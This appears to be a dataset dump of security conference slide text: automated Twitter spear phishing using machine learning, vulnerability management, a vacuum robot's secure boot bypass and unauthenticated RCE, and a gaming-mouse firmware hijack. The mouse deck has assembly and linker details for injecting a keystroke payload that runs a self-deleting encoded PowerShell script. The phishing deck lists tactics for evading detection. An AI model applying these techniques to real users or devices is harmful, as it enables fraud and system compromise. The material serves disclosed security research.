Tool\nFully Automated\n>30% Accuracy\nSpear Phishing\nHighly Manual\n45% Accuracy\nPhishing\nMostly Automated\n5-14% Accuracy\nTweet #WeaponizeMe before the demo to get an example tweet!\n#WeaponizeMe\n#whoami\n4\nJohn Seymour\n@_delta_zero\nPhilip Tully\n@kingphish3r\nData Scientist at ZeroFOX\nSenior Data Scientist at ZeroFOX\nPh.D. student at UMBC\nPh.D. student at University of Edinburgh & \nRoyal Institute of Technology\nResearches Malware Datasets\nBrain Modeling and Artificial Neural Nets\n#WeaponizeMe\nFooling Humans for 50 Years\n5\n Microsoft\n Deep Neural Network\n 1966: ELIZA chatbot\n Joseph Weizenbaum, MIT\n1966: Eliza Chatabot\n20166: @TayandYou AI Chatbot\n#WeaponizeMe\nInfoSec ML Historically Prioritizes Defense\n6\n#WeaponizeMe\n#Shoutout\n7\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nMachine Learning on Offense\nAutomated E2E Spear Phishing on Twitter\n8\n#WeaponizeMe\nOur \n#SMACK Tool\n9\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\nWhy Twitter?\n10\nBot-friendly API\nColloquial syntax\nShortened links\nTrusting culture\nIncentivized data disclosure\n#WeaponizeMe\nTechniques to Evade Detection\n Our ML Tool...\n Shortens payload per unique user \n Auto-tweets at irregular intervals\n Triages users wrt value/engagement\n Prepends tweets with @mention\n Obeys rate limits\n We added...\n Post non-phishing posts\n Build believable profile\n11\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\nDesign Flow\n12\nis_target(user)\nget_timeline(depth)\ngen_markov_tweet()\ngen_nn_tweet()\nschedule_tweet_and_sleep()\npost_tweet_and_sleep()\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nAutomated Target Discovery\nAutomated E2E Spear Phishing on Twitter\n13\n#WeaponizeMe\nTriage of High Value Targets on Twitter\n14\nEric Schmidt\nEric Schmidt\n#WeaponizeMe\n15\nTriage of\nHigh Value \nTargets on \nTwitter\n#WeaponizeMe\nExtracting \nFeatures \nfrom GET \nusers/lookup\n Engagement metrics\n #myFirstTweet\n Default settings\n Description content\n Account age\n16\n#WeaponizeMe\n17\nClustering \npredicts high \nvalue users\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nAutomated Social Spear Phishing\nAutomated E2E Spear Phishing on Twitter\n18\n#WeaponizeMe\nRecon and Footprinting for Profiling\n Compute histogram of tweet timings \n(binsize = 1 hour)\n Random minute within max hour to tweet\n Bag of Words on timeline tweets\n Select most commonly occurring non-\nstopword\n We seed the neural network with topics that \nthe user frequently posts about\n19\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\nLeveraging Markov Models\n Popular for text generation: see \n/r/SubredditSimulator, InfosecTalk\nTitleBot\n Calculates pairwise frequency of tokens \nand uses that to generate new ones\n Trained using the most recent posts on \nthe user’s timeline\n20\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\nInside LSTM Neural Networks\n21\nLSTM = Long Short Term Memory\n#WeaponizeMe\nTraining the Neural Net\n Hosted on Amazon EC2\n Trained NN on g2.2xlarge \ninstance (65¢ per hour)\n Ubuntu (ami-c79b7eac)\n Trained on more than 2 \nmillion tweets\n Took 3 days to train\n22\nLSTM = Long Short Term Memory\n#WeaponizeMe\nLanguage and Social Network Agnosticism\n Markov models only use content on user’s timeline, which \nmeans they can automatically generate content in other \nlanguages\n For neural nets, you’d only need to scrape data from the target \nlanguage and retrain\n Both of these methods can also be applied to other social \nnetworks\n23\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nEvaluation and Metrics\nAutomated E2E Spear Phishing on Twitter\n24\n#WeaponizeMe\nHere’s a malicious URL...\n25\n#WeaponizeMe\nAnd, apparently goo.gl lets us shorten it!\n26\n#WeaponizeMe\ngoo.gl also gives us analytics\n27\n#WeaponizeMe\nInitial Experiment\n We sent 90 “phishing” posts out to people \nusing #cat\n After 2 hours, we had 17% clickthrough rate\n After 2 days, we had between 30% and 66% \nclickthrough rate\n Inside the Data\n goo.gl showed 27 clickthroughs (30%) came \nfrom a t.co referrer\n Unknown referrers might be caused by bots\n With unique locations, clickthrough rate may be \nas high as 66%\n28\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nMan vs. Machine\nAutomated E2E Spear Phishing on Twitter\n29\n#WeaponizeMe\nBake Off\nWe plan to do a humans vs. machine bake off prior to the conference.\nStay tuned for the results!\n30\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nOur #SMACK Tool In Action\nAutomated E2E Spear Phishing on Twitter\n31\n#WeaponizeMe\nDEMO of Our #SMACK Tool \nFramework\n32\n#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nWrap Up\nAutomated E2E Spear Phishing on Twitter\n33\n#WeaponizeMe\nMitigations\n Of course, we’re white hats here…\n But machine learning is rapidly becoming \nautomated, so black hats would have this \ncapability soon.\n Protected accounts are immune to \ntimeline scraping, which defeats the tool\n Bots can be detected\n Standard mitigations apply:\n Don’t click on links from people you don’t \nknow\n Report! Twitter is pretty good at flagging \nspam accounts\n Maybe URL shorteners should be \nresponsible for malware?\n34\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\nBlack Hat Sound Bytes\n Machine learning can be used \noffensively to automate spear phishing\n Machine-generated grammar is bad, but \nTwitter users DGAF\n Abundant personal data is publicly \naccessible and effective for social \nengineering\n35\n#SMACK\nTool\nTwitter\nProfiles\nPayloads\nHarvesting\n#WeaponizeMe\n37\nJohn Seymour\n@_delta_zero\nPhilip Tully\n@phtully"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":34,"cells":{"text":{"kind":"string","value":"How to construct a sustainable \nvulnerability management program \n1 \n#whoami \n-Howard Tsui \n-Senior Threat and Vulnerability Management Engineer \n-Financial industry in the United States \n-Contact \n• teaupdate12@gmail.com \n• TSUIUST – twitter \n• Howard Tsui – Linkedin \n2 \nTalk Outline: \n• Why do we need Vulnerability Management? \n• What do we need? \n• Vulnerability Management Lifecycle \n• What won’t work? \n• How to mature program? \n3 \nVulnerabilities- Are we vulnerable? Where? \n1. OpenSSL 'Heartbleed \n2. Shellshock \n3. Stagefright \n4. W32 conficker worm \n5. MS17-010 \n4 \nExternal RDP port 3389 \nWPA2 Krack \nApache 5 \nWindows 2003 \nMost of the breaches are not from 0 Days \nCitied Verizon 2016 DBRI \nAge of CVEs be \nexploited in 2015 \nsorted by publish \ndate. \n5 \nWhy do we need Vulnerability Management? \n•Vulnerability and threats \n•Improve organizational security resiliency \n•Compliance requirement \n6 \nWhat do you need in Vulnerability Management? \nVulnerability scanner \n7 \nBe a people person \nAsset Management \n(CMDB) \nTicketing System \nVulnerability Management Lifecycle \nDetect \nPrioritize \nReport \nRemediate \nVerification \n8 \nDetect – Vulnerability Scanning \nManual \ndetection \nAutomated \ndetection \nPro \n• Easy to use (Depends) \n• Enterprise level \nscanning capability \nCon \n• False positive \n• Expensive \nPro \n• Accurate, less false \npositives \n• Much more in depth \nCon \n• Time consuming \n• Highly skilled \n9 \nDetect \nPrioritize \nReport \nRemediate \nVerification \nVulnerability Prioritization \nAlways understand the vulnerability \n• Prioritization \n• The money making software and server \n• Patch vulnerabilities that already have known exploits \n• Unsupported software \n• Look for the one solution that fix many vulnerabilities \n• CVSS is a good start, but take them to the next level \n• Apply system scoring and criticality ratings. Etc, environmental \nfactors \n10 \nDetect \nPrioritize \nReport \nRemediate \nVerification \nReport \n•Target the audiences with the specific report type \n• There is no one report fits all \n•Report automation and template \n• Integrate with current ticket and report process \n•Always include SLA along with report \n• 14, 30, 60 days, etc. \n11 \nDetect \nPrioritize \nReport \nRemediate \nVerification \nWhat to include in the report or ticket? \nDear Sysadmin: \nTitle: [Some kind of security identifier ] [SLA] [vulnerability name] \nBody: \ninclude patch name some where in the report \nwhere was found, IP, hostname, count. (excel is fine) \nMention SLA again, nicely. \n12 \nYou don’t want this look \n13 \nRemediation \n•If the current patching process works, follow it. Try \nnot to reinvent new patch process, it will cause \nconfusion \n•Involve risk management depending on the outcome, \ninitiate risk exception \n•Keep track of SLA and hold owners responsible. Don’t \nfall into the ticket black hole \n14 \nDetect \nPrioritize \nReport \nRemediate \nVerification \nVerification \n•Verify the same way you found it for accurate result \n•Verify the remediation solution did not introduce \nmore vulnerabilities \n• Document the verification procedures and report in a central \nlocation… You will thank yourself later \n15 \nDetect \nPrioritize \nReport \nRemediate \nVerification \nMix & Match the Lifecycle \nDetect \nPrioritize \nReport \nRemediate \nVerification \n16 \nDetect & \nPrioritize \nReport \nRemediate \nVerification \nWhat won’t work \n•Inaccurate vulnerability report or metrics \n•No Cooperation with Risk Management \n•Insufficient patch management program \n17 \nWhat won’t work \nInaccurate vulnerability report or metrics \n18 \nWhat won’t work \nLack of team work with Risk Management \n19 \nWhat won’t work \nInsufficient patch management program \n21 \nI have everything, now what I can do? \n• Security configuration management \n• Incorporate threat intel feed for organization specific threat \nvulnerabilities \n• Look for things that attacker likes to find that aren’t \nvulnerabilities \n• Rely more on manual testing that can identify more complex \nvulnerabilities \n22 \nTo finish up, I want to leave you with this \n23 \nQ&A \n24 \nContact \nteaupdate12@gmail.com \nTSUIUST – twitter \nHoward Tsui – Linkedin"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":35,"cells":{"text":{"kind":"string","value":"Vacuum Cleaning Security\nPinky and the Brain Edition\nJiska Classen\nSecure Mobile Networking Lab - SEEMOO\nTechnische Universität Darmstadt, Germany \nFabian Ullrich\nIT Security Analyst @ ERNW GmbH\nHeidelberg, Germany\n2\n●\nA vacuum cleaning robot is in your house, has access to your Wi-Fi and knows \nmany of your personal habits.\n●\nWho of you owns a vacuum cleaning robot?\n●\n(Own as it's YOUR robot, neither your neighbor's nor someone's on the Internet!)\nMotivation\n3\n●\nA vacuum cleaning robot is in your house, has access to your Wi-Fi and knows \nmany of your personal habits.\n●\nWho of you owns a vacuum cleaning robot?\n●\nNeato is one of the top vacuum cleaning robot models in the US.\n●\nIn Germany, Vorwerk has been selling vacuum cleaners forever (founded 1883). \nTheir top model, a robot, is a rebranded Neato.\n●\nVorwerk won the test comparisons in Germany with their VR300/VR200.\nMotivation\n4\n●\nRobots were harmed during our experiments! (Sorry for that…)\n●\nNo customer data was leaked.\n●\nNeato was informed and fixed all issues in time.\nResponsible Disclosure\n5\nInfrastructure & Security Features\nUI & USB console\n6\nInfrastructure & Security Features\nUI & USB console\nManual robot \ncommands\n7\nInfrastructure & Security Features\nBeehive\nUI & USB console\nManual robot \ncommands\nSetup only\nAccount information\n8\nInfrastructure & Security Features\nNucleo\nBeehive\nUI & USB console\nManual robot \ncommands\nSetup only\n??\nRobot commands / status\nAccount information\nRobot commands, status responses\n9\nInfrastructure & Security Features\nNucleo\nBeehive\n✔ HTTPS\n✔ RSA key (robot↔cloud)\n??\n✔ HTTPS\n✔ Secure boot\n✔ Encrypted logs\n✔ Signed firmware updates\n✔ HTTPS\n✔ RSA key (robot↔cloud)\n✔ Secret key (robot↔user)\n✔ HTTPS\n✔ Secret key (robot↔user)\n✔ Secret key (robot↔user)\n10\n●\nWith all these security features, what could possibly go wrong?\nContributions\n11\n●\nWith all these security features, what could possibly go wrong?\n●\nWe bypass secure boot on a vacuum cleaning robot to extract its memory.\n●\nOur key findings are…\n○\n… key findings!\n○\nAnd a QNX side quest.\n●\nWe also gained unauthenticated RCE on robots over the cloud.\nContributions\n12\n●\nCustom AM335x chip (guessed by size factor).\n●\nQNX 6.5 image from Foundry27 is bootable but crashes.\n●\nGet QNX SDP, modify image, skip hardware initialization,\nreboot Neato system into custom image for cold boot attack,\nprint all RAM to the serial port.\n●\nWatchdog started by Pinky, \n●\nCleaning logic binary started by Brain.\nSecure Boot Bypass\nJiska found this, got assigned CVE-2018-20785, fixed in Neato BotVac Connected D7 4.4.0-72 in December 2018 and for Vorwerk somewhen after January 2019.\n13\nSecret Key\n●\nGenerated when associating a robot with a user account. \n●\nKnown by: robot, app and cloud components.\n●\nIndividual key for each robot/user account relation!\nUsed for authenticating commands to robot.\nKeys and their Purpose (1)\nhttps://developers.neatorobotics.com/ \n14\nSecret Key\n●\nGenerated when associating a robot with a user account. \n●\nKnown by: robot, app and cloud components.\n●\nIndividual key for each robot/user account relation!\nUsed for authenticating commands to robot.\nKeys and their Purpose (1)\nHeader = Authorization: NEATOAPP [signature]\n1 string_to_sign = serial + date + message_body\n2 signature = HMAC_SHA256(secret_key, string_to_sign) \nhttps://developers.neatorobotics.com/ \n15\nRSA Key\n●\nRobots have to initially send the secret key\n○\nHas to be authenticated.\n●\nSecret key not that secret \n○\nSeveral third parties know it.\n○\nCannot be used to authenticate the robot in the cloud.\nRSA Key used to authenticate robot to cloud.\nKeys and their Purpose (2)\n16\nRSA Key\n●\nRobots have to initially send the secret key\n○\nHas to be authenticated.\n●\nSecret key not that secret \n○\nSeveral third parties know it.\n○\nCannot be used to authenticate the robot in the cloud.\nRSA Key used to authenticate robot to cloud.\nKeys and their Purpose (2)\nHeader = Authorization: NEATOBOT [serial]:[signature]\n1 string_to_sign = serial + http_method + URI + date + body \n2 signature = sign_rsa_sha256(string_to_sign, rsa_private_key)\n17\nSecret Key Entropy Reduction\nFabian found and analyzed this beautiful piece of code! Got assigned CVE-2018-19441.\n1 rnd = rand();\n2\n3 time_shift[0:3] = time_now;\n4 time_shift[4:6] = 0;\n5 time_shift[7] = 16;\n6 time_shift[8] = rnd + rnd / 0xFFFF;\n7 time_shift[9] = entropy_reducing_math(rnd + rnd / 0xFFFF);\n8 time_shift[10:15] = robot_MAC;\n18\nSecret Key Entropy Reduction\nFabian found and analyzed this beautiful piece of code! Got assigned CVE-2018-19441.\n1 rnd = rand();\n2\n3 time_shift[0:3] = time_now;\n4 time_shift[4:6] = 0;\n5 time_shift[7] = 16;\n6 time_shift[8] = rnd + rnd / 0xFFFF;\n7 time_shift[9] = entropy_reducing_math(rnd + rnd / 0xFFFF);\n8 time_shift[10:15] = robot_MAC;\n19\n●\nEntropy relies on time of robot linkage.\n○\nOne year = 25 bit\n○\nOne hour = 12 bit\n●\nThere are multiple offline attack scenarios.\nSecret Key Entropy Reduction\nFabian found and analyzed this beautiful piece of code! Got assigned CVE-2018-19441.\n1 rnd = rand();\n2\n3 time_shift[0:3] = time_now;\n4 time_shift[4:6] = 0;\n5 time_shift[7] = 16;\n6 time_shift[8] = rnd + rnd / 0xFFFF;\n7 time_shift[9] = entropy_reducing_math(rnd + rnd / 0xFFFF);\n8 time_shift[10:15] = robot_MAC;\n20\n●\nEncrypted RSA keys in /var/keys.\n●\nvendorPrivateKeyProduction sounds promising!\n●\nLet’s do some string de-obfuscation!\nRSA Keys for Robot Authenticity (1)\n21\n●\nEncrypted RSA keys in /var/keys.\n●\nvendorPrivateKeyProduction sounds promising!\n●\nLet’s do some string de-obfuscation!\nRSA Keys for Robot Authenticity (1)\n●\nRSA key is the same for all robots.\n22\n●\nEncrypted RSA keys in /var/keys.\n●\nvendorPrivateKeyProduction sounds promising!\n●\nLet’s do some string de-obfuscation!\nRSA Keys for Robot Authenticity (1)\n●\nRSA key is the same for all robots.\n23\n●\nWe are able to impersonate arbitrary robots.\n○\nAllows for multiple other attacks.\n○\nFor example: Leak victim’s smartphone IP\nRSA Keys for Robot Authenticity (2)\nNucleo\nRobot location?\n24\n●\nWe are able to impersonate arbitrary robots.\n○\nAllows for multiple other attacks.\n○\nFor example: Leak victim’s smartphone IP\nRSA Keys for Robot Authenticity (2)\nNucleo\nDoes no \nlonger get \nrequests\nRobot location?\nRobot location?\n25\n●\nWe are able to impersonate arbitrary robots.\n○\nAllows for multiple other attacks.\n○\nFor example: Leak victim’s smartphone IP\nRSA Keys for Robot Authenticity (2)\nNucleo\nDoes no \nlonger get \nrequests\nRobot location?\nRobot location?\nRobot location is 1.3.3.7:42\n26\n●\nWe are able to impersonate arbitrary robots.\n○\nAllows for multiple other attacks.\n○\nFor example: Leak victim’s smartphone IP.\nRSA Keys for Robot Authenticity (2)\nNucleo\nDoes no \nlonger get \nrequests\nRobot location?\nRobot location?\nRobot location is 1.3.3.7:42\n1.3.3.7:42\n27\n●\nWe are able to impersonate arbitrary robots.\n○\nAllows for multiple other attacks.\n○\nFor example: Leak victim’s smartphone IP\nRSA Keys for Robot Authenticity (2)\nNucleo\nDoes no \nlonger get \nrequests\nManual drive…\n1.3.3.7:42\nRobot location?\nRobot location?\nRobot location is 1.3.3.7:42\n1.3.3.7:42\n28\n●\nPower plants, cars, and other critical applications run on QNX < 6.6. Today.\n●\nThe current version is 7.x, but many vendors might not have updated it so far.\n●\nDefault settings are no ASLR, no DEP :).\n●\nThe robots run on QNX 6.5 … Side quest: How secure is it?\nWe ❤ QNX < 6.6\nFabian and Johannes created a PoC for privilege escalation and got assigned CVE-2019-8998. http://support.blackberry.com/kb/articleDetail?articleNumber=000057178 \n29\n●\nPower plants, cars, and other critical applications run on QNX < 6.6. Today.\n●\nThe current version is 7.x, but many vendors might not have updated it so far.\n●\nDefault settings are no ASLR, no DEP :).\n●\nThe robots run on QNX 6.5 … Side quest: How secure is it?\nWe ❤ QNX < 6.6\nFabian and Johannes created a PoC for privilege escalation and got assigned CVE-2019-8998. http://support.blackberry.com/kb/articleDetail?articleNumber=000057178 \n30\n●\nBuffer overflow in Nucleo cloud connection \ndaemon.\nUnauthenticated RCE\nFabian found the crash and performed analysis, Jiska decrypted the coredump (CVE-2018-17177), Johannes did further analysis and implemented a PoC (CVE-2018-19442).\nNucleo\n/bin/astro\n/bin/robot\nBuffer \nOverflow\n31\n●\nBuffer overflow in Nucleo cloud connection \ndaemon.\n●\nCan be triggered with requests to \nhttps://nucleo.neatocloud.com:4443/\nvendors/neato/robots/[robot_serial]/\nmessages.\n●\nThe overflow is within parsing the authentication \nheader, which means that we found an \nunauthenticated RCE!\n●\nAll services run as root.\n●\nFix: Authentication headers are validated on \nNucleo.\nUnauthenticated RCE\nFabian found the crash and performed analysis, Jiska decrypted the coredump (CVE-2018-17177), Johannes did further analysis and implemented a PoC (CVE-2018-19442).\nNucleo\n/bin/astro\n/bin/robot\nBuffer \nOverflow\n32\n●\nIoT product at home? Keep it offline!\n●\nAs a customer:\n○\nUpdate your robot.\n○\nHide your robot’s serial number!\nSecurity Implications (1)\n33\n●\nConnected ecosystem developers:\n○\nUsing RSA, RNG, hashing, secure boot, encrypted logs, signed firmware updates \nsounds good...\n○\nReview cryptographic key components and root of trust assumptions.\n○\nDissecting one of your products should not compromise security of the other \nproducts, i.e., similar keys.\n○\nTest your security relevant code in practice\nto uncover issues like the static secret key\n“random” function—check entropy before\nhashing.\nSecurity Implications (2)\n34\nQ&A"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":36,"cells":{"text":{"kind":"string","value":"If You Give A Mouse A Microchip\nIt will execute a payload\nand cheat at your high-stakes video game tournament\nMark Williams (skud) and Rob Stanley (Sky)\n●\n1958 - ‘first’ video game \n●\n1972 - first recorded, sponsored video game tournament \n○\nSpacewar! - built in 1960s\n○\nRolling Stone sponsored a Spacewar! Olympics in ‘72\nCompetitive Gaming\nEsports\nThe International 2016\n●\nTeams from all over the world\n●\n20 million dollar prize pool (19 million crowd funded)\n●\n17,000 people watching at the venue\n●\nOver five million people watching online\nEsports\n●\nMassive temporary networks\n●\nHot-seat computers\n●\nInternet connectivity\n●\nSupport player-owned peripherals\nSecurity Challenges at Esports Events\nComputers at events typically close these attack vectors:\n●\nInternet access restricted\n●\nPlayer accounts don’t have admin\n●\nDrivers / configs pre-installed\n●\nUSB Mass Storage disabled\n●\nExtra USB ports disabled\nBut you can plug your own mouse and keyboard into the PC!\nPotential Attack Vector\n●\nFound a mouse with an ‘overpowered’ microcontroller\n●\nNot enough scrutiny over devices at esports tournaments\nWhy Hack with a Mouse?\nGaming Mouse\nGaming Mouse\n●\nSTMicro STM32F103CB Microcontroller\n○\nARM Cortex M3microprocessor\n○\nSupports ST-Link programming interface \n●\n128KB Flash Memory\n○\nStores user profiles onboard - save your dpi settings!\n●\nLots of buttons\n●\nRGB LEDs\n1.\nConnect to microcontroller built into the mouse.\n2.\nInsert code to act as USB Keyboard.\n3.\nSend keystrokes to execute payload on target computer\n4.\n“Unplug” the keyboard app, run original mouse code\n5.\n???\n6.\nProfit Responsible disclosure \nWithout obvious physical modifications to the mouse\nHijack the Microcontroller\nFrequently Asked Question:\n“Wait, isn’t that just a Rubber Ducky in a mouse?”\nHang on a second\n???\nSTMicro STM32F4 Discovery Development board\n●\nHas an onboard ARM Cortex M4 for initial dev\n●\nHas an external programming interface to program mouse\nMouse with a ARM cortex processor\nSoldering Iron\nWires\nHardware Tools Used\n●\nSTM32 ST-Link Utility\n●\nSystem Workbench for STM32\n●\nSTM32CubeMX\n●\nobjdump (for ARM)\n* not affiliated with stmicro\nSoftware Tools (all free!)\nThere’s the microcontroller!\nWe need to talk to it somehow...\nOpen it up!\nFind documentation\nWe need to connect to the chip to program it\nDon’t have access to the chip via USB\nRTFM!\nST-Link interface uses pins \n●\nPA13 (JTCK / SWCLK / PA14) \n●\nPA14 (JTMS / SWDIO / PA13)\n●\nGND\nDon’t be dumb\nBricked\nI tried to solder directly to the processor’s pins...\nWith an aging soldering iron\nThen I flipped the board over and found these \nconvenient solder pads for GND, TCK, and \nTMS. The exact pins I need to flash the \nprocessor!\nDon’t be dumb\nMuch better!\nSTM32 Discovery ST-Link interface\nRemove CN2 jumpers to disconnect ST-Link \nfrom the Discovery Board’s onboard \nprocessor\nST-Link → Target\nSWD pin 2 → TCK\nSWD pin 3 → GND\nSWD pin 4 → TMS\nSTM32F4 Discovery schematic\nDiscovery Board\nST-Link connection jumper\nWe’re connected!\nCN2 Jumpers disconnected for external programming \nHold boot0 pin high during power-on to enter \nprogrammable mode\nFrom our pin diagram, we know boot0 is pin 5\nVery carefully apply 3 volts to boot0 pin and \nplug the mouse in\nBack to the documentation! \nBoot0\nRST\nST-Link is connected!\nIf we want the mouse to keep \nworking, we should save what \nis currently on it\nConnected to microcontroller via ST-Link.\nTODO:\n1.\nExtract original mouse binary\n2.\nBuild application that registers as a keyboard\n3.\nFind empty space in mouse’s binary and insert our application\nWe’re in!\nWhen connected:\n1.\nOpen notepad\n2.\nAutomatically type an encoded powershell script\na.\nDecompresses self\nb.\nForks and executes in background\nc.\nDeletes itself after forking\n3.\nSave to %temp%/hack.bat\n4.\nClose notepad\n5.\nRun %temp%/hack.bat\nBuild payload to insert into mouse binary\nObjdump binary extracted from mouse\nFlash memory starts at 0x08000000, dump the binary relative to this address:\nobjdump -b binary -marm --adjust-vma=0x08000000 -D -C -Mforce-thumb sensei.bin > sensei.txt\n 80109ae: 2000 \n movs r0, #0\n 80109b0: 171c \n asrs r4, r3, #28\n 80109b2: 0000 \n movs r0, r0\n 80109b4: e394 \n b.n 0x80110e0\n 80109b6: 0800 \n lsrs r0, r0, #32\n ...\n 8016800: 5300 \n strh r0, [r0, r4]\n 8016802: 756b \n strb r3, [r5, #21]\n 8016804: 2064 \n movs r0, #100 ; 0x64\nLooks like we have plenty of space from 0x080109b6 to 0x08016800\nWe’ll put our application at 0x08010a00 (so it is on a 2k boundary)\nWhere do we put our code?\nThe default linker for the STMicro projects links to memory location 0x08000000\nBut our app is being placed at location 0x08010a00\nNeed to edit 2 files to appropriately link to this non-default location\nSTM32F103CBTx_FLASH.ld\nsystem_stm32f1xx.c\nRun Application at Custom Location\n/* Highest address of the user mode stack */\n_estack = 0x20005000; \n/* was 0x20000a70 in sensei.bin - our code wants more stack */\n/* Specify the memory areas */\nMEMORY\n{\nRAM (xrw) \n: ORIGIN = 0x20000000, LENGTH = 14K \nFLASH (rx) : ORIGIN = 0x08010a00, LENGTH = 14K \n}\nSTM32F103CBTx_FLASH.ld \n/*!< Vector Table base offset field.This value must be a multiple of 0x200 */\n#define VECT_TAB_OFFSET 0x08010a00 \nNow we know where we are!\nsystem_stm32f1xx.c \nAddress 0x08000000 contains the vector \ntable\n●\nAddress 0x08000000\n○\n Location of Stack Pointer in Ram\n●\nAddress 0x08000004\n○\nLocation of Entry Point in Flash\nAt boot, bootloader sets stack pointer, then \nbranches to the address at offset 0x04\nARM Boot Process\nDisassembly of section .data:\n08000000 <.data>:\n 8000000: 20000a70\n 8000004: 08000141 \n 8000008: 0800157f \n 800000c: 08000d65 \n 8000010: 0800157d \n 8000014: 0800024d \n 8000018: 08002c7f \nDocumentation states that bit[0] of an address \nmust be 1 or the branch command will fault\nA 1 in bit[0] tells the processor to execute in \nthumb mode\nBy patching the vector table, of course!\nHow do we execute our inserted code?\nNeed to know where the entry point of our code is. \nobjdump -b binary -marm --adjust-vma=0x08010a00 -D -C -Mforce-thumb injection.bin > injection.txt\nDisassembly of section .data:\n08010a00 <.data>:\n 8010a00: 5000 \n str r0, [r0, r0]\n 8010a02: 2000 \n movs r0, #0\n 8010a04: 3625 \n ; <UNDEFINED> instruction: 0xb6d1\n 8010a06: 0801 \n lsrs r1, r0, #32\nOur app’s entry point is at 0x08013625\nGet mouse to run our app\nUpdate the values at 0x00 and 0x04 in the mouse’s binary file\nPatch That Table!\nOld Vector Table\nNew Vector Table\nUsing your hex editor of choice:\nNavigate to offset 0x00010a00\nPaste the entire hex dump from the hack.bin file into the mouse_hack.bin file at \nthis offset\nInsert That Code!\nCopy and Paste!\nThe mouse should now run our injected application\nBut it won’t do anything else\nNow we need to make it return to the original functionality\nHooray! \nWrite a bunch of assembly and \nstore it at the end of the main() \nfunction\nThis code will be executed out of \norder via branch instructions\nSneaky Assembly Usage\nProgram Flow\nMouse\nHack main()\nHack end \nHack entry\nMouse entry\nVector table\n1\n2\n3\n4\n5\n// ENTRY POINT OF PROGRAM\nasm(\"mrs r0, PSP\"); \n // store program stack pointer in r0\nasm(\"push {r0-r9}\"); \n // push all registers that may have been\n // initialized by mouse's bootloader\nasm(\"ldr r0, HACK_ENTRY\"); // load r0 with entry point of our inserted\n // application\nasm(\"bx r0\"); \n // branch to the hack\nNew Entry Point\nasm(\"ldr r0, STACK_PTR\"); \n// load saved stack pointer into r0\nasm(\"msr MSP, r0\"); \n// set stack pointer with value in r0\nasm(\"pop {r0-r9}\"); \n// restore registers we pushed onto stack\nasm(\"msr PSP, r0\"); \n// set the program stack pointer\nasm(\"ldr r0, STACK_SIZE\"); // load desired stack size into r0\nasm(\"msr MSP, r0\"); \n// set stack pointer with value in r0\nasm(\"ldr lr, ALL_F\"); \n// set link register to default value 0xffffffff\nasm(\"ldr r0, MOUSE_ENTRY\"); // load r0 with address of mouse entry point\nasm(\"bx r0\");\n// Branch to original mouse code\n// ENDS OUR PROGRAM\nJump To Mouse Code\n// DATA\nasm(\"MOUSE_ENTRY: .word 0x08000141\"); // entry point of original mouse code\nasm(\"HACK_ENTRY: .word 0x08013625\"); // entry point of this code\nasm(\"STACK_PTR: .word 0x20004fd8\"); // the stack pointer address AFTER\n // pushing registers to stack\nasm(\"STACK_SIZE: .word 0x20005000\"); // stack pointer location for entry\n // into mouse code\nasm(\"ALL_F: .word 0xffffffff\"); // default value of link register \nasm(\"FEEDBEEF: .word 0xfeedbeef\"); // breadcrumbs\nStoring Data in Assembly\nFound The Beef!\nInserted code can have unintended side effects.\nAlmost there!\n●\nMouse code shipped with debugging disabled (hooray!)\n●\nDebugging requires interrupts\n●\nMy code can debug...\nDebug with no Debug\n●\nCPS IE - enable interrupts\n●\nCPS ID - disable interrupts\n●\nFlags:\n○\ni - PRIMASK (configurable handlers)\n○\nf - FAULTMASK (all handlers)\nARM Interrupts: Change Processor State\n●\nFind CPSID in objdump output\n○\n0xB672\n●\nReplace with no-op \n○\n0x0000\n●\nCross fingers!\nHands off my PRIMASK!\n 800018c: f380 8808 msr \nMSP, r0\n 8000190: 4770 \n bx \nlr\n 8000192: b662 \n cpsie i\n 8000194: 4770 \n bx \nlr\n 8000196: b672 \n cpsid i\n 8000198: 4770 \n bx \nlr\nDemonstration\n●\nHave application check reset vector at boot\n○\nApp can re-write reset vector after booting\n●\nApplication has hash of entire flash\n○\nCan’t store user modifications then?\n○\nWhat if the injected code changes the hash value?\n○\nWhat if injected code clears the flash it resides in after executing?\n●\nHardware based tamper detection\n○\nARM has basic and advanced hardening features\nCan we defend against extra code in a device?\n●\nOnly allow ‘normal’ behavior from HID peripherals\n●\nSign and verify drivers and flash of every peripheral (probably not)\n●\nWhitelist EXEs\n●\nForce everyone to use USB → PS2 adapters (nope)\n●\nProvide trusted hardware\nCan we defend against this payload style?\n●\nSource Code & Examples - https://bitbucket.org/mdhomebrew/\n●\nARM Application Notes - http://infocenter.arm.com/help/index.jsp\n●\nST-Link - http://www.st.com/en/embedded-software/stsw-link004.html\n●\nOpenSTM IDE - http://www.openstm32.org/\n●\nSTM32CubeMX - http://www.st.com/en/development-tools/stm32cubemx.html\n●\nContact: skudmunky@blackstargroup.org , @skudmunky\nReferences and helpful links\nQuestions?"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":37,"cells":{"text":{"kind":"string","value":"@M4x_1997\n@zh_explorer\n⚫ Beijing Chaitin Tech Co., Ltd(@ChaitinTech)\nhttps://chaitin.cn/en\nhttps://realworldctf.com/\n⚫ Chaitin Security Research Lab\n⚫ Pwn2Own 2017 3rd place\n⚫ GeekPwn 2015/2016/2018/2019 awardees\n⚫ PS4 Jailbreak, Android rooting, IoT Offensive Research, ESXi Escape\n⚫ CTF players from team b1o0p, Tea Deliverers\n⚫ 2nd place at DEFCON 2016\n⚫ 3rd place at DEFCON 2019\n⚫ 1st place at HITCON 